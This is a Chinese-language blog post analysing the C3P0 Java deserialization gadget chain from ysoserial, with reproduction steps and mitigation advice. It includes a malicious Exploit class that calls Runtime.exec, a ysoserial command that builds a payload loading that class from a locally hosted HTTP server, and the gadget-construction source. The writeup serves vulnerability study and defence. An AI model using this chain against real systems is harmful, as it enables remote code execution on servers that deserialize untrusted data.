ysoserial-C3P0
字数 1080 2025-08-25 22:58:46
C3P0反序列化漏洞分析与利用
0x01 概述
C3P0是一个开源的JDBC连接池,实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。许多知名开源项目如Hibernate和Spring都使用了C3P0。本文将详细分析C3P0组件中的反序列化漏洞利用链。
0x02 环境搭建
要复现该漏洞,需要在项目中引入C3P0依赖:
<!-- pom.xml -->
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
0x03 漏洞复现
1. 创建恶意类
首先创建一个恶意类Exploit,该类将在反序列化时执行任意命令:
public class Exploit {
public Exploit(){
try {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
} catch (Exception e) {
// 异常处理
}
}
}
2. 生成Payload
使用ysoserial工具生成恶意序列化数据:
java -jar ysoserial-master-55f1e7c35c-1.jar C3P0 "http://127.0.0.1:8888/:Exploit" > test.txt
3. 启动HTTP服务
启动一个简单的HTTP服务器托管恶意类:
python -m SimpleHTTPServer 8888
0x04 利用链分析
1. Payload生成过程
ysoserial中的getObject方法构造了利用链:
public Object getObject(String command) throws Exception {
int sep = command.lastIndexOf(':');
if (sep < 0) {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
}
String url = command.substring(0, sep);
String className = command.substring(sep + 1);
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource")
.set(b, new PoolSource(className, url));
return b;
}
关键步骤:
- 解析URL和类名
- 通过反射创建无构造函数的
PoolBackedDataSource对象 - 设置
connectionPoolDataSource字段为自定义的PoolSource对象
2. 序列化过程
PoolBackedDataSourceBase类在序列化时:
- 尝试序列化
connectionPoolDataSource对象 - 当对象不可序列化时(
PoolSource未实现Serializable),获取其Reference ReferenceIndirector将Reference包装为ReferenceSerialized并写入字节流
3. 反序列化过程
反序列化时的关键调用链:
PoolBackedDataSourceBase.readObject读取ReferenceSerialized对象ReferenceIndirector.getObject获取恶意类ReferenceableUtils.referenceToObject通过URL加载并实例化恶意类Exploit
0x05 漏洞修复
该问题在C3P0的最新版本(0.9.5.5)中仍未修复,使用时需注意:
- 不要反序列化不可信的C3P0对象
- 考虑使用其他连接池替代方案
- 实施输入验证和过滤
0x06 小结
C3P0反序列化漏洞利用链特点:
- 类似JNDI注入的攻击方式
- 通过构造特殊的
ConnectionPoolDataSource对象实现攻击 - 利用反序列化过程动态加载远程恶意类
- 最终通过实例化恶意类执行任意代码
该漏洞展示了Java反序列化漏洞的典型利用模式,强调了在反序列化操作中实施严格安全控制的重要性。